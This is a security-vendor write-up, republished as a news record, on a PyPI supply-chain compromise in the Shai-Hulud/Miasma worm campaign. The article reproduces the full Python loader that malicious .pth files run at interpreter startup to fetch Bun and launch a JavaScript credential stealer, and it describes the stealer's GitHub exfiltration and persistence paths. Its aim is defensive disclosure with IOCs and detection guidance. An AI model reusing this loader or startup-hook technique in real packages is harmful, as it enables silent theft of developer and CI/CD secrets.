{"slug": "shai-hulud-descends-to-hades-miasma-worm-campaign-spreads-with-new-pypi-wave", "title": "Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads with New PyPI Wave", "summary": "Socket detected a coordinated PyPI compromise involving 37 malicious wheel artifacts across 19 packages, part of the Shai-Hulud/Miasma campaign that uses Python startup execution to download Bun and run an obfuscated JavaScript stealer targeting developer and CI/CD credentials. The attack marks a new Hades-themed branch of the same lineage, with 448 total artifacts now tracked across npm and PyPI.", "body_md": "Socket detected a coordinated PyPI compromise involving 37 malicious wheel artifacts across 19 packages. The compromised releases shipped a `*-setup.pth`\n\nfile that attempts to execute automatically during Python startup, download the Bun JavaScript runtime, and run an obfuscated JavaScript payload named `_index.js`\n\n.\n\nSocket’s AI malware detection system identified the malicious package cluster minutes after publication. The attack is cross-runtime, and the tradecraft is unmistakably Shai-Hulud / Miasma. Python packages provide the delivery vehicle, but the payload runs under Bun as a heavily obfuscated JavaScript stealer. That Bun dependency is a key fingerprint of this family: Shai-Hulud-style payloads do not assume Node.js, Python, or another local runtime will be available. Instead, they download and install Bun, then use it as the execution engine. That behavior has shown up even in npm compromises, where Node.js would otherwise be the expected runtime.\n\nStatic deobfuscation of `_index.js`\n\nmirrors what we have seen in compromised npm packages from the same lineage: a character-code and ROT-style `eval`\n\nwrapper, AES-GCM encrypted stages, rotated string tables, custom string decoders, and embedded AES/gzip-protected strings. Once unpacked, the payload targets the same high-value developer and CI/CD secret classes seen across Mini Shai-Hulud and Miasma waves, including GitHub, npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic, AWS, GCP, Azure, Kubernetes, Vault, SSH keys, Docker configs, shell histories, `.env`\n\nfiles, `.npmrc`\n\n, `.pypirc`\n\n, Claude/MCP configs, and other local or runner-accessible credentials.\n\nThe campaign marker changed. Earlier reporting tied the Red Hat Cloud Services wave to the Zelda-themed payload marker `Miasma: The Spreading Blight`\n\n, and other Shai-Hulud-related activity has used different thematic markers. The Shai-Hulud connection was first flagged to us [on Bluesky](https://bsky.app/profile/boredchilada.bsky.social/post/3mnldfffm2k2f) by [boredchilada](https://cyfar.ca/), an incident responder who tagged Socket shortly after the packages went live; our deobfuscation of `_index.js`\n\nconfirmed it, though with a new theme. Instead of Zelda references, this payload uses Hades-themed GitHub exfiltration markers, including the repository description `Hades - The End for the Damned`\n\nand generated repository-name components such as `stygian`\n\n, `tartarean`\n\n, `cerberus`\n\n, `charon`\n\n, `styx`\n\n, `lethe`\n\n, `thanatos`\n\n, and `persephone`\n\n.\n\nThat makes Hades best understood as a PyPI branch of the same Mini Shai-Hulud / Miasma lineage, not a standalone Python malware incident. The core playbook remains the same: abuse trusted package channels, execute before normal package use, stage a Bun-powered JavaScript payload, steal developer and CI/CD credentials, and use GitHub-centric exfiltration and propagation logic. What changed is the ecosystem-specific trigger: this wave uses Python `*-setup.pth`\n\nstartup execution instead of npm `preinstall`\n\nor other npm install-time paths.\n\nThe PyPI packages are the latest branch of this campaign that has moved quickly across open source ecosystems over the past few days. Socket is now tracking 448 affected artifacts across npm and PyPI, comprising 411 npm artifacts across 106 packages and 37 malicious PyPI wheels across 19 projects. At the time of writing, PyPI had already quarantined a number of the affected releases; we reported the remaining ones to the PyPI security team. We are tracking the full campaign on a dedicated page, with all affected artifacts added as they are identified: [https://socket.dev/supply-chain-attacks/miasma-mini-shai-hulud-supply-chain-attack](https://socket.dev/supply-chain-attacks/miasma-mini-shai-hulud-supply-chain-attack)\n\n## Affected PyPI packages[#](#Affected-PyPI-packages)\n\nThese 37 compromised artifacts span 19 PyPI packages from what looks like a single maintainer-account takeover. Consecutive patch releases were mass-published across the author's whole portfolio at once. The risk concentrates in a handful of established bioinformatics tools: `dynamo-release`\n\n(the `aristoteleo/dynamo`\n\nsingle-cell RNA-velocity and expression-dynamics framework) and its spatial-transcriptomics sibling `spateo-release`\n\n, `coolbox`\n\n(GangCaoLab's Jupyter-based multi-omics genomic visualization toolkit for Hi-C/ChIP-Seq/RNA-Seq tracks), and the deep-learning FISH spot-detection tools `ufish`\n\n/`napari-ufish`\n\n. These are real and widely used research-community tools with cumulative download totals in the low-to-mid hundreds of thousands; they account for the large majority of the aggregate install base. The rest are low-traffic agent/task-execution, function-description, and lab-utility libraries — small footprints caught in the same blast rather than independently valuable targets.\n\n## What the malicious wheels contained[#](#What-the-malicious-wheels-contained)\n\nThe malicious wheel pattern observed by Socket is simple and highly suspicious:\n\n```\n<package>/\n  ...\n  _index.js\n  *-setup.pth\n```\n\nThe `*-setup.pth`\n\nfile contains a single executable Python line. Python’s `site`\n\nmodule processes `.pth`\n\nfiles during interpreter startup; lines beginning with `import`\n\nfollowed by a space or tab are executed. That gives attackers an automatic startup execution primitive after installation, without requiring the victim to import the compromised package.\n\nThe loader attempts to:\n\n- create a sentinel at\n`tempfile.gettempdir()/.bun_ran`\n\n; - locate\n`_index.js`\n\nnext to the package or one subdirectory below it; - download Bun\n`v1.3.13`\n\nfrom GitHub if no cached Bun binary exists under the temp directory; - run\n`bun run _index.js`\n\n; - write the sentinel to avoid repeated execution.\n\nA normalized version of the loader:\n\n``` python\nimport glob\nimport os\nimport platform\nimport subprocess\nimport sys\nimport tempfile\nimport urllib.request\nimport zipfile\n\nsentinel = os.path.join(tempfile.gettempdir(), \".bun_ran\")\nif not os.path.exists(sentinel):\n    base = os.path.dirname(__file__)\n    payload = os.path.join(base, \"_index.js\")\n\n    if not os.path.exists(payload):\n        candidates = glob.glob(os.path.join(base, \"*\", \"_index.js\"))\n        payload = candidates[0] if candidates else \"\"\n\n    is_windows = os.name == \"nt\"\n    bun = os.path.join(tempfile.gettempdir(), \"b\", \"bun\" + (\".exe\" if is_windows else \"\"))\n\n    if not os.path.exists(bun):\n        arch = \"aarch64\" if platform.machine() == \"arm64\" else \"x64\"\n        os_name = {\"linux\": \"linux\", \"darwin\": \"darwin\", \"win32\": \"windows\"}.get(sys.platform, \"linux\")\n        zip_path = os.path.join(tempfile.gettempdir(), \"b.zip\")\n        urllib.request.urlretrieve(\n            f\"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip\",\n            zip_path,\n        )\n        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))\n        os.chmod(bun, 0o775)\n        os.unlink(zip_path)\n\n    subprocess.run([bun, \"run\", payload], check=False)\n    open(sentinel, \"w\").close()\n```\n\n### Implementation note\n\nDefenders should validate exploitability per artifact. In standard CPython, executable `.pth`\n\nlines are executed by the `site`\n\nmodule, and `__file__`\n\ncan resolve to `site.py`\n\nrather than to the `.pth`\n\nfile. In a local CPython reproduction, this exact loader shape did not automatically resolve the adjacent package `_index.js`\n\nvia `os.path.dirname(__file__)`\n\n. The artifact is still malicious: it ships a credential stealer and attempts to bootstrap Bun from a Python startup hook.\n\n## Why `.pth`\n\nis dangerous[#](#Why-.pth-is-dangerous)\n\nThe attack abuses a legitimate Python startup feature. `.pth`\n\nfiles were designed to add paths to `sys.path`\n\nand support import hooks. But Python explicitly supports executable lines beginning with `import`\n\n. Those lines run at every Python startup, whether or not the corresponding package is imported.\n\nThat means a compromised wheel can turn an otherwise passive dependency install into a delayed execution trigger: the next `python`\n\n, `pip`\n\n, test run, notebook kernel, CI job, or package-management command that starts Python may process the malicious `.pth`\n\n.\n\nThis is the Python equivalent of the npm install-hook problem that Shai-Hulud and Miasma repeatedly exploit. The syntax is different, but the security consequence is the same: dependency installation creates an execution edge before application code is reviewed or invoked.\n\n## Payload deobfuscation[#](#Payload-deobfuscation)\n\nStatic deobfuscation of `_index.js`\n\nrecovered multiple layers:\n\n**Outer JavaScript wrapper**\n\nA `try { eval(...) }`\n\nwrapper decodes a large character-code array and applies a ROT-style alphabet substitution.\n\n**AES-GCM loader**\n\nThe decoded first stage imports `node:crypto`\n\n, decrypts two embedded AES-128-GCM blobs, writes the main payload to a random `/tmp/p*.js`\n\n, and runs it with Bun.\n\n**Bun bootstrapper**\n\nA decrypted bootstrapper downloads Bun from `https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/`\n\n.\n\n**Main JavaScript payload**\n\nThe main payload uses a rotated string table, a custom PBKDF2/SHA256-based string decoder, and an additional AES-256-GCM + gzip string layer.\n\nThe submitted `_index.js`\n\nsample starts with a `try{eval(...)}`\n\nwrapper and a long char-code array, matching the obfuscated first stage recovered during static analysis.\n\n## Capabilities[#](#Capabilities)\n\nThe recovered payload is a broad developer and cloud credential stealer. It targets:\n\n- GitHub credentials, GitHub Actions runner secrets, runner memory, and\n`ghs_*`\n\ntokens. - npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic, and package-publishing tokens.\n- AWS credentials, STS identity, SSM Parameter Store, and Secrets Manager.\n- GCP identity, projects, and Secret Manager.\n- Azure identity and Key Vault material.\n- Kubernetes service-account tokens and cluster secrets.\n- Vault tokens and Vault secrets.\n`.env`\n\n, `.npmrc`\n\n, `.pypirc`\n\n, Git credentials, shell histories, SSH keys, Docker configs, cloud CLI caches, Claude/MCP configs, wallet/app data, and other developer-machine secrets.\n\nThis target list closely matches the Shai-Hulud/Miasma operating model: steal credentials that can unlock package publishing, source control, cloud infrastructure, and CI/CD pipelines, then use that access to deepen or propagate compromise.\n\n## Exfiltration[#](#Exfiltration)\n\nThe payload includes multiple exfiltration paths.\n\n### Direct HTTPS exfiltration\n\nThe payload contains a direct HTTPS sender configured for:\n\n```\napi.anthropic.com\n/v1/api\n443\n```\n\nThis is Anthropic's real API host. Both `GET`\n\nand `POST`\n\nrequests to `https://api.anthropic.com/v1/api`\n\nreturn Anthropic's standard `404 not_found_error`\n\n, confirming `/v1/api`\n\nis not a live route. Hence, this channel cannot deliver data to the attacker, and there is no indication Anthropic systems were compromised. We assess its purpose as network-log camouflage: traffic to a ubiquitous AI-vendor host blends in and is impractical to blanket-block, while GitHub remains the family's confirmed exfiltration channel.\n\n### GitHub repository exfiltration\n\nThe payload can create public repositories using `POST /user/repos`\n\n, then commit encrypted/compressed result envelopes under paths like:\n\n```\nresults/results-<timestamp>-<counter>.json\n```\n\nRecovered markers include:\n\n```\nRepository description: Hades - The End for the Damned\n\nCommit marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully\n```\n\n### GitHub Actions artifact exfiltration\n\nEmbedded workflow logic writes GitHub Actions secrets to:\n\n```\nformat-results.txt\n```\n\nand uploads an artifact named:\n\n```\nformat-results\n```\n\nRecovered workflow name:\n\n```\nRun Copilot\n```\n\n## Evasion and environmental checks[#](#Evasion-and-environmental-checks)\n\nThe payload contains checks for Russian locale/environment signals and StepSecurity/harden-runner indicators. It also includes decoy-token prefix checks covering GitHub, npm, Anthropic, CircleCI, and AWS-style secrets.\n\nThis is another continuity point with the broader Shai-Hulud family: the actor or copycat tooling is not simply grabbing environment variables; it is trying to identify instrumented environments, avoid some decoys, and focus on high-value credential material.\n\n## Persistence and follow-on artifacts[#](#Persistence-and-follow-on-artifacts)\n\nRecovered persistence/follow-on indicators include:\n\n```\ngh-token-monitor\nGitHub Commit Monitor\n~/.config/gh-token-monitor/\n~/.local/bin/gh-token-monitor.sh\n~/.config/systemd/user/gh-token-monitor.service\n~/Library/LaunchAgents/com.github.token-monitor.plist\n~/.local/share/updater/update.py\n.claude/setup.mjs\n.github/setup.js\n.github/workflows/codeql.yml\n```\n\nThe Claude/MCP and GitHub workflow artifacts are especially important in the broader context. Recent Shai-Hulud-like campaigns have moved beyond package manager hooks into AI developer toolchains, MCP configuration, IDE/editor hooks, and workflow-level persistence. This PyPI wave should be investigated not only as a package compromise, but as a possible entry point into developer automation and AI-assisted coding environments.\n\n## Detection opportunities[#](#Detection-opportunities)\n\n### Package-level static detection\n\nHigh-confidence static detection should alert on any PyPI wheel containing:\n\n``` python\n.pth executable import line\nremote runtime or executable download\ntempdir binary install\nsubprocess execution\n_index.js or JavaScript payload handoff\n```\n\nSpecific strings from this wave:\n\n```\n.bun_ran\n_index.js\noven-sh/bun/releases/download\nbun-v1.3.13\nurllib.request\nurlretrieve\nsubprocess\ntempfile.gettempdir\nbun run\nexec(\n```\n\nA generic rule should not depend on the exact Bun version. The family can easily change `bun-v1.3.13`\n\nto another release, rename the sentinel, or swap `_index.js`\n\nfor another filename. The stronger behavior chain is executable `.pth`\n\nplus network retrieval plus subprocess execution plus staged JavaScript payload.\n\n### Runtime detection\n\nRuntime indicators include:\n\n``` php\npython -> bun\npython -> network request to github.com/oven-sh/bun/releases/download/\npython -> writes tempdir/b.zip\npython -> writes tempdir/b/bun or tempdir/b/bun.exe\nbun -> runs _index.js\nbun or node-like runtime -> outbound HTTPS to api.anthropic.com/v1/api\n```\n\nFilesystem indicators:\n\n```\n/tmp/.bun_ran\n%TEMP%\\\\.bun_ran\n/tmp/b.zip\n%TEMP%\\\\b.zip\n/tmp/b/bun\n%TEMP%\\\\b\\\\bun.exe\n_index.js inside site-packages or package subdirectories\n*-setup.pth inside site-packages\n```\n\nGitHub and CI indicators:\n\n```\nRepository description: Hades - The End for the Damned\nCommit marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully\nWorkflow name: Run Copilot\nArtifact name: format-results\nPath pattern: results/results-*.json\nUnexpected .github/workflows/codeql.yml changes\n```\n\n## Hades adapts Miasma tradecraft for PyPI[#](#Hades-adapts-Miasma-tradecraft-for-PyPI)\n\nThe Hades PyPI cluster shows how Mini Shai-Hulud-style tradecraft continues to splinter into ecosystem-specific branches. Unlike earlier Mini Shai-Hulud waves, which [moved from PyPI to npm and then Packagist](https://socket.dev/blog/mini-shai-hulud-packagist-malicious-intercom-php-package-compromise) through a related compromise chain, this wave centers on a separate set of malicious Python wheels. The overlap is in technique: the Miasma Red Hat wave showed abuse of legitimate trusted namespaces, forged provenance, Bun staging, cloud identity theft, and CI/CD propagation.\n\nFor defenders, the lesson is that install-time and startup-time code execution should be treated as a first-class supply chain risk across ecosystems:\n\n- npm:\n`preinstall`\n\n, `install`\n\n, `postinstall`\n\n, native build scripts, `node-gyp`\n\nindirection. - PyPI:\n`.pth`\n\nexecutable lines, import-time code, setup/build hooks, console-script wrappers, dependency confusion, malicious wheels. - Packagist: Composer plugins and scripts.\n- GitHub: Actions workflow injection, artifacts, repository exfiltration, and token propagation.\n- AI developer tooling: Claude/MCP config poisoning, editor hooks, agent memory/context abuse, and LLM API token harvesting.\n\n### Recommended response\n\nOrganizations that installed any affected version should remove or pin away from the malicious releases, rebuild affected environments where possible, and rotate credentials available to affected developer machines or CI jobs.\n\nPrioritize rotation and review for:\n\n- GitHub personal access tokens, GitHub App tokens, GitHub Actions secrets, and repository deploy keys.\n- PyPI, npm, RubyGems, JFrog, and other package-publishing tokens.\n- AWS, GCP, Azure, Kubernetes, and Vault credentials.\n- SSH keys, Docker credentials, Git credential helpers, cloud CLI profiles, and shell history secrets.\n- Anthropic, CircleCI, Claude/MCP, and other developer-tool tokens.\n\nSearch local systems, CI workers, and GitHub organizations for the indicators above. Treat any GitHub repository created with the recovered Hades marker, any format-results artifact, or any suspicious workflow named Run Copilot as a likely exfiltration artifact.\n\n## Indicators of Compromise (IOCs)[#](#Indicators-of-Compromise-(IOCs))\n\n### Malicious PyPI Artifacts\n\n`bramin@0.0.2`\n\n`bramin@0.0.3`\n\n`bramin@0.0.4`\n\n`cmd2func@0.2.2`\n\n`cmd2func@0.2.3`\n\n`coolbox@0.4.1`\n\n`coolbox@0.4.2`\n\n`dynamo-release@1.5.4`\n\n`executor-engine@0.3.4`\n\n`executor-engine@0.3.5`\n\n`executor-http@0.1.3`\n\n`executor-http@0.1.4`\n\n`funcdesc@0.2.2`\n\n`funcdesc@0.2.3`\n\n`magique@0.6.8`\n\n`magique@0.6.9`\n\n`magique-ai@0.4.4`\n\n`magique-ai@0.4.5`\n\n`mrbios@0.1.1`\n\n`mrbios@0.1.2`\n\n`napari-ufish@0.0.2`\n\n`napari-ufish@0.0.3`\n\n`nucbox@0.1.2`\n\n`nucbox@0.1.3`\n\n`okite@0.0.7`\n\n`okite@0.0.8`\n\n`pantheon-agents@0.6.1`\n\n`pantheon-agents@0.6.2`\n\n`pantheon-toolsets@0.5.5`\n\n`pantheon-toolsets@0.5.6`\n\n`spateo-release@1.1.2`\n\n`synago@0.1.1`\n\n`synago@0.1.2`\n\n`ufish@0.1.2`\n\n`ufish@0.1.3`\n\n`uprobe@0.1.3`\n\n`uprobe@0.1.4`\n\n### Hashes\n\n`_index.js`\n\nSHA256 hashes\n\n`dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe`\n\n(Variant 1, 4.8 MB, 17 packages)`e1342a80d4b5e83d2c7c22e1e0aaa95f2d88e3dbf0d853a4994b180c93a4b17d`\n\n(Variant 2, 4.7 MB, 2 packages)\n\n`*-setup.pth`\n\nSHA256 hash (identical across all affected artifacts):\n\n`c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c`\n\n### Files\n\n`*-setup.pth`\n\n`_index.js`\n\n### Loader strings\n\n`.bun_ran`\n\n`bun-v1.3.13`\n\n`oven-sh/bun/releases/download`\n\n`urllib.request`\n\n`urlretrieve`\n\n`tempfile.gettempdir`\n\n`subprocess.run`\n\n### Network\n\n`hxxps://api[.]anthropic[.]com/v1/api`\n\n- legitimate Anthropic API host abused as a camouflage exfiltration destination\n\n#### GitHub exfiltration markers\n\n`Hades - The End for the Damned`\n\n`IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully`\n\n`results/results-*.json`\n\n`format-results`\n\n`Run Copilot`", "url": "https://wpnews.pro/news/shai-hulud-descends-to-hades-miasma-worm-campaign-spreads-with-new-pypi-wave", "canonical_source": "https://socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave?utm_medium=feed", "published_at": "2026-06-07 05:30:32+00:00", "updated_at": "2026-06-13 10:30:10.149721+00:00", "lang": "en", "topics": ["developer-tools"], "entities": ["Socket", "PyPI", "Bun", "GitHub", "npm", "Red Hat", "Anthropic", "CircleCI"], "alternates": {"html": "https://wpnews.pro/news/shai-hulud-descends-to-hades-miasma-worm-campaign-spreads-with-new-pypi-wave", "markdown": "https://wpnews.pro/news/shai-hulud-descends-to-hades-miasma-worm-campaign-spreads-with-new-pypi-wave.md", "text": "https://wpnews.pro/news/shai-hulud-descends-to-hades-miasma-worm-campaign-spreads-with-new-pypi-wave.txt", "jsonld": "https://wpnews.pro/news/shai-hulud-descends-to-hades-miasma-worm-campaign-spreads-with-new-pypi-wave.jsonld"}}